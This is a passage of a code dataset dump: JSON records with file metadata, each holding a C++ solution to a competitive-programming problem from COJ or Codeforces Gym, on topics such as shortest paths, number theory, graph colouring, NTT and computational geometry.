g[i][j] = min( g[i][j] , g[i][k] + g[k][j] );\n }\n }\n }\n\n cout.precision(0);\n cout << fixed << g[1][2] << '\\n';\n}\n" }, { "alpha_fraction": 0.3647541105747223, "alphanum_fraction": 0.4836065471172333, "avg_line_length": 13.125, "blob_id": "57a29d1474f8d12029d949e7670ee9ab2ba3b5cb", "content_id": "1bf27e4ada732b4219283033908065e0c1946368", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 244, "license_type": "no_license", "max_line_length": 39, "num_lines": 16, "path": "/COJ/eliogovea-cojAC/eliogovea-p2656-Accepted-s543092.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n\r\nint r,b;\r\ndouble dis,a1,b1;\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d%d\",&r,&b);\r\n\r\n\tdis=(r/2.0+2.0)*(r/2.0+2.0)-4.0*(r+b);\r\n\r\n\ta1=(r/2.0+2.0+sqrt(dis))/2.0;\r\n\tb1=r/2.0+2.0-a1;\r\n \tprintf(\"%.0lf %.0lf\\n\",a1,b1);\r\n}\r\n\r\n" }, { "alpha_fraction": 0.40808823704719543, "alphanum_fraction": 0.4227941036224365, "avg_line_length": 13.11111068725586, "blob_id": "68619b537384171f25371af4a9e61091a58cbf43", "content_id": "7320c6f69a2de446270cde781e7d4ca13190867a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 272, "license_type": "no_license", "max_line_length": 47, "num_lines": 18, "path": "/COJ/eliogovea-cojAC/eliogovea-p1362-Accepted-s503139.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nlong a,b,c;\r\n\r\nint gcd(long a, long b)\r\n{\r\n return b?gcd(b,a%b):a;\r\n}\r\n\r\nint main()\r\n{\r\n while(scanf(\"%ld%ld%ld\",&a,&b,&c))\r\n {\r\n if(a==0 && b==0 && c==0)break;\r\n printf(\"%s\\n\",(c%gcd(a,b))?\"NO\":\"YES\");\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.4120561480522156, "alphanum_fraction": 0.43848058581352234, "avg_line_length": 17.22222137451172, "blob_id": "48ba74b0485d0e50b4e6d475afbefafbd55eb82a", "content_id": "865fe70d4dd401563dcdb0ec5e3da75088a78a97", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1211, "license_type": "no_license", "max_line_length": 64, "num_lines": 63, "path": "/COJ/eliogovea-cojAC/eliogovea-p3062-Accepted-s724884.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n#include <vector>\r\n#include <map>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100005;\r\n\r\nint n, ans;\r\n\r\nstruct pt {\r\n\tint x, y;\r\n} P[N], aux;\r\n\r\nbool operator < (const pt &a, const pt &b) {\r\n\tif (a.x != b.x) return a.x < b.x;\r\n\treturn a.y < b.y;\r\n}\r\n\r\nmap<pt, int> M;\r\nmap<pt, int>::iterator it;\r\n\r\nvector<int> G[N];\r\nint col[N], cnt[10];\r\n\r\nvoid dfs(int u, int c) {\r\n\tcol[u] = c;\r\n\tcnt[c]++;\r\n\tfor (int i = 0; i < G[u].size(); i++) {\r\n\t\tint v = G[u][i];\r\n\t\tif (col[v] == -1)\r\n\t\t\tdfs(v, 1 - c);\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> P[i].x >> P[i].y;\r\n\t\tM[P[i]] = i;\r\n\t\tcol[i] = -1;\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tfor (long long dx = -5; dx <= 5; dx++)\r\n\t\t\tfor (long long dy = -5; dy <= 5; dy++)\r\n\t\t\t\tif ((dx != 0LL || dy != 0LL) && dx * dx + dy * dy <= 25LL) {\r\n\t\t\t\t\taux.x = P[i].x + dx;\r\n\t\t\t\t\taux.y = P[i].y + dy;\r\n\t\t\t\t\tit = M.find(aux);\r\n\t\t\t\t\tif (it != M.end()) G[i].push_back(it->second);\r\n\t\t\t\t}\r\n\t}\r\n\tfor (int i = 0; i < n; i++)\r\n\t\tif (col[i] == -1) {\r\n\t\t\tcnt[0] = cnt[1] = 0;\r\n\t\t\tdfs(i, 0);\r\n\t\t\tif (cnt[0] < cnt[1]) ans += cnt[0];\r\n\t\t\telse ans += cnt[1];\r\n\t\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.37881556153297424, "alphanum_fraction": 0.40594834089279175, "avg_line_length": 24.553333282470703, "blob_id": "432e96871a43b94492d62103de6c12c4ca88a5af", "content_id": "f03a6862ea0b46b90abb2cb4759e3ae5aa642e40", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3833, "license_type": "no_license", "max_line_length": 121, "num_lines": 150, "path": "/Codeforces-Gym/100503 - 2014-2015 CT S02E05: Codeforces Trainings Season 2 Episode 5 - 2009-2010 ACM-ICPC, NEERC, Southern Subregional Contest/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E05: Codeforces Trainings Season 2 Episode 5 - 2009-2010 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100503A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 2000;\n\nint d[MAXN][MAXN];\nbool mk[MAXN][MAXN];\n\ntypedef pair<int,int> par;\n\nint sol;\n\nint n, m;\n\nbool can_move( int i, int j ){\n return ( i >= 0 && j >= 0 );\n}\n\nbool move( par &pos , int dir ){\n if( dir == 1 ){\n pos.second++;\n if( can_move( pos.first-1, pos.second ) ){\n if( mk[pos.first-1][pos.second] ){\n sol += d[pos.first-1][pos.second]/2;\n }\n else{\n sol += d[pos.first-1][pos.second];\n mk[pos.first-1][pos.second] = true;\n }\n }\n if( can_move( pos.first+1, pos.second ) ){\n if( mk[pos.first+1][pos.second] ){\n sol += d[pos.first+1][pos.second]/2;\n }\n else{\n sol += d[pos.first+1][pos.second];\n mk[pos.first+1][pos.second] = true;\n }\n }\n pos.second++;\n }\n else if( dir == 3 ){\n pos.second--;\n if( can_move( pos.first-1, pos.second ) ){\n if( mk[pos.first-1][pos.second] ){\n sol += d[pos.first-1][pos.second]/2;\n }\n else{\n sol += d[pos.first-1][pos.second];\n mk[pos.first-1][pos.second] = true;\n }\n }\n if( can_move( pos.first+1, pos.second ) ){\n if( mk[pos.first+1][pos.second] ){\n sol += d[pos.first+1][pos.second]/2;\n }\n else{\n sol += d[pos.first+1][pos.second];\n mk[pos.first+1][pos.second] = true;\n }\n }\n pos.second--;\n }\n else if( dir == 0 ){\n pos.first--;\n if( can_move( pos.first, pos.second-1 ) ){\n if( mk[pos.first][pos.second-1] ){\n sol += d[pos.first][pos.second-1]/2;\n }\n else{\n sol += d[pos.first][pos.second-1];\n mk[pos.first][pos.second-1] = true;\n }\n }\n if( can_move( pos.first, pos.second+1 ) ){\n if( mk[pos.first][pos.second+1] ){\n sol += d[pos.first][pos.second+1]/2;\n }\n else{\n sol += d[pos.first][pos.second+1];\n mk[pos.first][pos.second+1] = true;\n }\n }\n pos.first--;\n }\n else{\n pos.first++;\n if( can_move( pos.first, pos.second-1 ) ){\n if( mk[pos.first][pos.second-1] ){\n sol += d[pos.first][pos.second-1]/2;\n }\n else{\n sol += d[pos.first][pos.second-1];\n mk[pos.first][pos.second-1] = true;\n }\n }\n if( can_move( pos.first, pos.second+1 ) ){\n if( mk[pos.first][pos.second+1] ){\n sol += d[pos.first][pos.second+1]/2;\n }\n else{\n sol += d[pos.first][pos.second+1];\n mk[pos.first][pos.second+1] = true;\n }\n }\n pos.first++;\n }\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n freopen(\"input.txt\",\"r\",stdin);\n freopen(\"output.txt\",\"w\",stdout);\n\n cin >> n >> m;\n\n for( int i = 0; i < n; i++ ){\n string s; cin >> s;\n for( int j = 0; j < m; j++ ){\n d[i*2+1][j*2+1] = s[j]-'0';\n }\n }\n\n string s; cin >> s;\n\n par pos = par( 0, 0 );\n int dir = 1;\n\n sol = 0;\n\n for( int i = 0; i < s.size(); i++ ){\n if( s[i] == 'L' ){\n dir = ( dir - 1 + 4 ) % 4;\n }\n else if( s[i] == 'R' ){\n dir = ( dir + 1 ) % 4;\n }\n else{\n move( pos , dir );\n }\n }\n\n cout << sol << '\\n';\n}\n" }, { "alpha_fraction": 0.34662577509880066, "alphanum_fraction": 0.36656442284584045, "avg_line_length": 17.600000381469727, "blob_id": "d9a44a353858b87401594150a53313f81b0370f8", "content_id": "1151edace7f67633ef83b3c6544a2a0feb4f6048", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 652, "license_type": "no_license", "max_line_length": 60, "num_lines": 35, "path": "/COJ/Copa-UCI-2018/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n int n, m;\n cin >> n >> m;\n\n vector <int> v(n);\n for (auto & x : v) {\n cin >> x;\n x %= m;\n }\n\n vector <vector <bool> > dp(n, vector <bool> (m, false));\n\n dp[0][v[0]] = true;\n\n for (int i = 0; i + 1 < n; i++) {\n for (int r = 0; r < m; r++) {\n if (dp[i][r]) {\n dp[i + 1][ (r + v[i + 1]) % m ] = true;\n dp[i + 1][ (r + m - v[i + 1]) % m ] = true;\n }\n }\n }\n\n cout << (dp[n - 1][0] ? \"valid\" : \"invalid\") << \"\\n\";\n}\n\n" }, { "alpha_fraction": 0.45945945382118225, "alphanum_fraction": 0.4872586727142334, "avg_line_length": 16.768115997314453, "blob_id": "6936a982a38f82a8fa576579e14f625c0c348015", "content_id": "934c4c065b0479c08c479c49eb7f6fc645a4daad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1295, "license_type": "no_license", "max_line_length": 84, "num_lines": 69, "path": "/COJ/eliogovea-cojAC/eliogovea-p2383-Accepted-s740414.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nconst LL inf = 1e9;\r\nconst int N = 1e5;\r\n\r\nint criba[N + 5];\r\nvector<int> p;\r\n\r\nvoid Criba() {\r\n\tcriba[1] = true;\r\n\tfor (int i = 2; i * i <= N; i++)\r\n\t\tif (!criba[i])\r\n\t\t\tfor (int j = i * i; j <= N; j += i)\r\n\t\t\t\tcriba[j] = true;\r\n\tp.push_back(2);\r\n\tfor (int i = 3; i <= N; i += 2)\r\n\t\tif (!criba[i]) p.push_back(i);\r\n}\r\n\r\nbool primo(int n) {\r\n\tif (n <= N) return !criba[n];\r\n\tfor (int i = 0; p[i] * p[i] <= n; i++)\r\n\t\tif (n % p[i] == 0)\r\n\t\t\treturn false;\r\n\treturn true;\r\n}\r\n\r\nvector<int> v;\r\n\r\nvoid f1(int cur) {\r\n\tif (cur > inf) return;\r\n\tif (primo(cur)) {\r\n\t\tif (cur) v.push_back(cur);\r\n\t\tfor (int i = 1; i <= 9; i++)\r\n\t\t\tf1(10 * cur + i);\r\n\t}\r\n}\r\n\r\nvoid f2(LL cur, LL pw10) {\r\n\tif (cur > inf) return;\r\n\tif (primo(cur)) {\r\n\t\tif (cur) v.push_back(cur);\r\n\t\tfor (int i = 1; i <= 9; i++)\r\n\t\t\tf2(pw10 * i + cur, 10ll * pw10);\r\n\t}\r\n}\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n\tCriba();\r\n\tf1(0);\r\n\tf2(0, 1);\r\n\tsort(v.begin(), v.end());\r\n\tv.erase(unique(v.begin(), v.end()), v.end());\r\n\tint tc, a, b;\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> a >> b;\r\n\t\tint ans = upper_bound(v.begin(), v.end(), b) - lower_bound(v.begin(), v.end(), a);\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.39410555362701416, "alphanum_fraction": 0.41398218274116516, "avg_line_length": 20.44615364074707, "blob_id": "603262e5df6eaaa5cb1694d811fe617881095b1c", "content_id": "eb73914699782248ab088e973792ffd7bc1138ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1459, "license_type": "no_license", "max_line_length": 78, "num_lines": 65, "path": "/COJ/eliogovea-cojAC/eliogovea-p2745-Accepted-s586653.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <vector>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXK = 310, MAXN = 100010;\r\n\r\nint n, m, k, G[MAXK][MAXK], t[MAXK], tip[MAXN], ini[MAXK], fin[MAXK];\r\nint used[MAXN], id;\r\nvector<int> ady[MAXN];\r\n\r\nvoid dfs(int u)\r\n{\r\n\tused[u] = id;\r\n\tfor (vector<int>::iterator it = ady[u].begin(); it != ady[u].end(); it++)\r\n\t\tif (used[*it] != id) dfs(*it);\r\n}\r\n\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d%d%d\", &n, &m, &k);\r\n\tfor (int i = 1, a = 1; i <= k; i++)\r\n\t{\r\n\t\tscanf(\"%d\", t + i);\r\n\t\tini[i] = a;\r\n\t\tfor (int j = a; j < a + t[i]; j++)\r\n\t\t\ttip[j] = i;\r\n\t\ta += t[i];\r\n\t\tfin[i] = a;\r\n\t}\r\n\r\n\tfor (int i = 1; i <= k; i++)\r\n\t\tfor (int j = 1; j <= k; j++)\r\n\t\t\tif (i != j) G[i][j] = 1 << 29;\r\n\r\n\tfor (int i = 1, x, y, z; i <= m; i++)\r\n\t{\r\n\t\tscanf(\"%d%d%d\", &x, &y, &z);\r\n\t\tif (tip[x] != tip[y])\r\n\t\t\tG[tip[x]][tip[y]] = G[tip[y]][tip[x]] = min(G[tip[x]][tip[y]], z);\r\n\t\tif (z == 0)\r\n\t\t{\r\n\t\t\tady[x].push_back(y);\r\n\t\t\tady[y].push_back(x);\r\n\t\t}\r\n\t}\r\n\r\n\tfor (int i = 1; i <= k; i++)\r\n\t{\r\n\t\tid++;\r\n\t\tdfs(ini[i]);\r\n\t\tbool sol = true;\r\n\t\tfor (int j = ini[i]; j < fin[i]; j++)\r\n\t\t\tif (used[j] != id) {printf(\"No\\n\"); return 0;}\r\n\t}\r\n printf(\"Yes\\n\");\r\n\tfor (int l = 1; l <= k; l++)\r\n\t\tfor (int i = 1; i <= k; i++)\r\n\t\t\tfor (int j = 1; j <=k; j++)\r\n\t\t\tG[i][j] = G[j][i] = min(G[i][j], G[i][l] + G[l][j]);\r\n\tfor (int i = 1; i <= k; i++)\r\n\t\tfor (int j = 1; j <= k; j++)\r\n\t\t\tprintf(\"%d%c\", (G[i][j] == 1 << 29) ? -1 : G[i][j], (j == k) ? '\\n' : ' ');\r\n}\r\n" }, { "alpha_fraction": 0.36540380120277405, "alphanum_fraction": 0.3978065848350525, "avg_line_length": 18.079999923706055, "blob_id": "f902d30dbad2bfac0d91fa7780d8a6ee735c44f9", "content_id": "919597708470613491737dcdcd454cc0da29ff26", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2006, "license_type": "no_license", "max_line_length": 60, "num_lines": 100, "path": "/COJ/eliogovea-cojAC/eliogovea-p3894-Accepted-s1123279.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = (1 << 27) + (1 << 25) + 1;\r\n\r\ninline int power(int x, int n) {\r\n\tint res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) res = (long long)res * x % MOD;\r\n\t\tx = (long long)x * x % MOD;\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint roots[50], invRoots[50];\r\n\r\nvoid calcRoots() { // !!!\r\n\tint a = 2;\r\n\twhile (power(a, (MOD - 1) / 2) != MOD - 1) a++;\r\n\tfor (int l = 1, e = 0; (MOD - 1) % l == 0; l *= 2, e++) {\r\n\t\troots[e] = power(a, (MOD - 1) / l);\r\n\t\tinvRoots[e] = power(roots[e], MOD - 2);\r\n\t}\r\n}\r\n\r\nvoid fft(vector <int> &P, bool invert) {\r\n\tint n = P.size();\r\n\tassert((n > 0) && (n == (n & -n)) && ((MOD - 1) % n == 0));\r\n\tint ln = 0;\r\n\twhile ((1 << ln) < n) ln++;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint x = i;\r\n\t\tint y = 0;\r\n\t\tfor (int j = 0; j < ln; j++) {\r\n\t\t\ty = (y << 1) | (x & 1);\r\n\t\t\tx >>= 1;\r\n\t\t}\r\n\t\tif (y < i) swap(P[i], P[y]);\r\n\t}\r\n\tfor (int l = 2, e = 1; l <= n; l *= 2, e++) {\r\n\t\tint hl = l >> 1;\r\n\t\tint step = roots[e];\r\n\t\tif (invert) step = invRoots[e];\r\n\t\tfor (int i = 0; i < n; i += l) {\r\n\t\t\tint w = 1;\r\n\t\t\tfor (int j = 0; j < hl; j++) {\r\n\t\t\t\tint u = P[i + j];\r\n\t\t\t\tint v = (long long)P[i + j + hl] * w % MOD;\r\n\t\t\t\tP[i + j] = (u + v) % MOD;\r\n\t\t\t\tP[i + j + hl] = (u - v + MOD) % MOD;\r\n\t\t\t\tw = (long long)w * step % MOD;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif (invert) {\r\n\t\tint in = power(n, MOD - 2);\r\n\t\tfor (int i = 0; i < n; i++)\r\n\t\t\tP[i] = (long long)P[i] * in % MOD;\r\n\t}\r\n}\r\n\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tconst int N = 200 * 1000 + 1;\r\n\tint sz = 1;\r\n\twhile (sz <= 2 * N) {\r\n\t\tsz <<= 1;\r\n\t}\r\n\tint n;\r\n\tcin >> n;\r\n\r\n\tvector <int> p(sz);\r\n\tfor (int i = 0, k; i < n; i++) {\r\n\t\tcin >> k;\r\n\t\tp[k] = 1;\r\n\t}\r\n\tp[0] = 1;\r\n\tcalcRoots();\r\n\tfft(p, false);\r\n\tfor (int i = 0; i < sz; i++) {\r\n\t\tp[i] = (long long)p[i] * p[i] % MOD;\r\n\t}\r\n\tfft(p, true);\r\n\tint ans = 0;\r\n\tint m;\r\n\tcin >> m;\r\n\tfor (int i = 0, d; i < m; i++) {\r\n\t\tcin >> d;\r\n\t\tif (p[d] != 0) {\r\n\t\t\t// cerr<< \"ok: \" << d << \"\\n\";\r\n\t\t\tans++;\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}" }, { "alpha_fraction": 0.2669138014316559, "alphanum_fraction": 0.2863762676715851, "avg_line_length": 19.156862258911133, "blob_id": "03639f4c4f4c44d50394fdf5ebe792eb264c3be1", "content_id": "f8559683240144f83187419953998dcabc167e36", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1079, "license_type": "no_license", "max_line_length": 57, "num_lines": 51, "path": "/COJ/eliogovea-cojAC/eliogovea-p4041-Accepted-s1294957.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n\r\n string l = \"XBGCRMYW\";\r\n\r\n int value[256];\r\n\r\n for (int i = 0; i < 8; i++) {\r\n value[(int)l[i]] = i;\r\n }\r\n\r\n int t;\r\n cin >> t;\r\n\r\n int n;\r\n string a, b;\r\n\r\n while (t--) {\r\n cin >> a >> b;\r\n n = a.size();\r\n int last = -1;\r\n int cnt = 0;\r\n int answer = 0;\r\n for (int i = 0; i < n; i++) {\r\n int va = value[(int)a[i]];\r\n int vb = value[(int)b[i]];\r\n for (int j = 2; j >= 0; j--) {\r\n answer++;\r\n if ((va & (1 << j)) == (vb & (1 << j))) {\r\n cnt++;\r\n int p = 3 * i + (2 - j);\r\n if (last != -1 && !(cnt & 1)) {\r\n answer += 2 * (p - last);\r\n }\r\n last = p;\r\n }\r\n }\r\n }\r\n\r\n if (cnt & 1) {\r\n answer = -1;\r\n }\r\n\r\n cout << answer << \"\\n\";\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.39468690752983093, "alphanum_fraction": 0.420303612947464, "avg_line_length": 17.821428298950195, "blob_id": "834f7abadab462b3979dfcc58530d7ee5b015142", "content_id": "22a37a901d0104a43733eb6216d3823761f93f8d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2108, "license_type": "no_license", "max_line_length": 63, "num_lines": 112, "path": "/Codeforces-Gym/100523 - 2014-2015 CT S02E07: Codeforces Trainings Season 2 Episode 7/J.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E07: Codeforces Trainings Season 2 Episode 7\n// 100523J\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\n#define forr(i, n) for(int i = 0; i < (int)(n); ++i)\n#define ffor(i, n) for(int i = 1; i <= (int)(n); ++i)\n#define revforr(n , i) for(int i = (int)(n)-1; i >= 0; i--)\n\n#define kasign(a,b) a = b\n\n#define keqq( a , b ) (a == b)\n#define kmineqq( a , b ) ( a <= b )\n#define kmaxeqq( a , b ) ( a >= b )\n\n#define kmm(a) a++\n\n#define kadd(a,b) a+=b\n#define krest(a,b) a-=b\n#define kmas(a,b) (a+b)\n\n#define kxorr( a , b ) (a ^ b)\n\n#define kfill( a , n , v ) fill( a , a + n , v )\n#define kmod( a , b ) ( a % b )\n\ntypedef long long ll;\nconst int MAXN = 3000005;\n\nint n;\nint E;\nint ady[MAXN], next[MAXN], last[MAXN];\n\nint k2;\n\nint cnt[MAXN];\n\nvoid dfs1( int u, int p ){\n kasign( cnt[u] , 1 );\n for( int e( last[u] ); e ; kasign( e, next[e] ) ){\n int v( ady[e] );\n\n if( keqq( p , v ) ){\n continue;\n }\n\n dfs1( v , u );\n kadd( cnt[u] , cnt[v] );\n }\n}\n\nbool ok( int u, int p, int rest ){\n rest--;\n if( rest < 0 ){\n kasign( rest , k2 - 1 );\n }\n\n for( int e( last[u] ); e ; kasign( e, next[e] ) ){\n int v( ady[e] );\n if( keqq( v , p ) ){\n continue;\n }\n\n if( !ok( v , u , kmod( cnt[v] , k2 ) ) ){\n return false;\n }\n\n krest( rest , kmod( cnt[v] , k2 ) );\n\n if( rest < 0 ){\n return false;\n }\n }\n\n return ( !rest );\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n cin >> n;\n\n kasign( E , 1 );\n\n for( int u( 2 ); !(u > n); kmm(u) ){\n int p; cin >> p;\n\n kasign( ady[E] , u );\n kasign( next[E] , last[p] );\n kasign( last[p] , E );\n kmm(E);\n //g[p].push_back( u );\n }\n\n dfs1( 1 , -1 );\n cout << \"1\";\n\n for( int k( 2 ); !( k > n ); kmm(k) ){\n if( !kmod( n , k ) ){\n kasign( k2 , n / k );\n if( ok( 1 , -1 , 0 ) ){\n cout << ' ' << k;\n }\n }\n }\n cout << \"\\n\";\n}\n" }, { "alpha_fraction": 0.42446044087409973, "alphanum_fraction": 0.4374100863933563, "avg_line_length": 17.30555534362793, "blob_id": "b6f359131deeacba31591297cce23b3336009790", "content_id": "9265f4d341ace39866d60a11b4dbb4b61a2cdfa7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 695, "license_type": "no_license", "max_line_length": 62, "num_lines": 36, "path": "/COJ/eliogovea-cojAC/eliogovea-p2017-Accepted-s629472.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nconst int MAXN = 105;\r\nconst double eps = 1e-9;\r\n\r\nstruct pt {\r\n\tdouble x, y;\r\n\tpt() {}\r\n\tpt(double xx, double yy) : x(xx), y(yy) {}\r\n} pts[MAXN], Q;\r\n\r\ndouble cross(pt &a, pt &b, pt &c) {\r\n\treturn (a.x - c.x) * (b.y - c.y) - (a.y - c.y) * (b.x - c.x);\r\n}\r\n\r\nint tc, n, q;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n;\r\n\t\tfor (int i = 0; i < n; i++)\r\n\t\t\tcin >> pts[i].x >> pts[i].y;\r\n\t\tcin >> q;\r\n\t\twhile (q--) {\r\n\t\t\tcin >> Q.x >> Q.y;\r\n\t\t\tint sol = 0;\r\n\t\t\tfor (int i = 0, j = n - 1; i < n; j = i++)\r\n\t\t\t\tsol += (cross(pts[i], pts[j], Q) > eps);\r\n\t\t\tcout << sol << '\\n';\r\n\t\t}\r\n\t\tcout << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.35607320070266724, "alphanum_fraction": 0.410981684923172, "avg_line_length": 15.69444465637207, "blob_id": "ea61832e8b707f5a5615d5ea3daa74fba985e223", "content_id": "580cd3385c4617a0345c4bb4d590ae4c9fd68855", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 601, "license_type": "no_license", "max_line_length": 45, "num_lines": 36, "path": "/Caribbean-Training-Camp-2018/Contest_6/Solutions/H.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\nconst int MAXN = 1000100;\n\nll c1[MAXN], c2[MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n, m; cin >> n >> m;\n\n for( int i = 0; i < n; i++ ){\n int x; cin >> x;\n c2[x]++;\n }\n for( int i = 0; i < m; i++ ){\n int x; cin >> x;\n c1[x]++;\n }\n\n ll tot = 0;\n\n for( int i = 1; i <= 1000000; i++ ){\n for( int j = i; j <= 1000000; j+=i ){\n tot += c1[i] * c2[j] * (j/i);\n }\n }\n\n cout << tot << '\\n';\n}\n" }, { "alpha_fraction": 0.29629629850387573, "alphanum_fraction": 0.31138545274734497, "avg_line_length": 17.1842098236084, "blob_id": "38d7c105531069a91678d1b91eee971a307d3199", "content_id": "f572570f7fb395f746ca3e325542c272a25c2dde", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 729, "license_type": "no_license", "max_line_length": 59, "num_lines": 38, "path": "/COJ/eliogovea-cojAC/eliogovea-p2655-Accepted-s539763.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<iostream>\r\n#include<vector>\r\nusing namespace std;\r\n\r\nbool flag,b;\r\nstring s;\r\nvector<int>v;\r\n\r\nint main()\r\n{\r\n for(int i=1; i<=5; i++)\r\n {\r\n cin >> s;\r\n\r\n if(s.size()>=3)\r\n {\r\n for(int j=0; j<=s.size()-3; j++)\r\n {\r\n if(s[j]=='F' && s[j+1]=='B' && s[j+2]=='I')\r\n {\r\n v.push_back(i);\r\n flag=1;\r\n break;\r\n }\r\n }\r\n }\r\n\r\n }\r\n if(flag)\r\n {\r\n for(int i=0; i<v.size()-1; i++)\r\n cout << v[i] << \" \";\r\n cout << v[v.size()-1] << endl;\r\n }\r\n\r\n else cout << \"HE GOT AWAY!\" << endl;\r\n}\r\n" }, { "alpha_fraction": 0.37061402201652527, "alphanum_fraction": 0.390350878238678, "avg_line_length": 24.823530197143555, "blob_id": "df6587904ec317fcb38d9219bec41c54a3d8f968", "content_id": "2a9f0504c45532e60d486e067ad91df40745b0fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 456, "license_type": "no_license", "max_line_length": 72, "num_lines": 17, "path": "/COJ/eliogovea-cojAC/eliogovea-p1003-Accepted-s474642.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nint v[5],n,cand,reg,mx,mxp,x;\r\n\r\nint main(){\r\n cin >> n;\r\n while(n--){\r\n cin >> cand >> reg;\r\n for(int i=0; i<cand; i++)v[i]=0;\r\n mx=0;mxp=0;\r\n while(reg--)for(int i=0; i<cand; i++){cin >> x; v[i]+=x;}\r\n for(int i=0; i<cand; i++)if(mx<v[i]){mx=v[i];mxp=i+1;}\r\n cout << mxp <<endl;\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.3640500605106354, "alphanum_fraction": 0.40386801958084106, "avg_line_length": 15.235294342041016, "blob_id": "91801f4bc44748fd69c453007267c9ce8c3e6ba8", "content_id": "c2ed1c2139fb061794673d2595d0ef791257ae21", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 879, "license_type": "no_license", "max_line_length": 74, "num_lines": 51, "path": "/COJ/eliogovea-cojAC/eliogovea-p3291-Accepted-s815569.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll mod = 1000000007LL;\r\n\r\nll power(ll x, ll n, ll m) {\r\n\tll res = 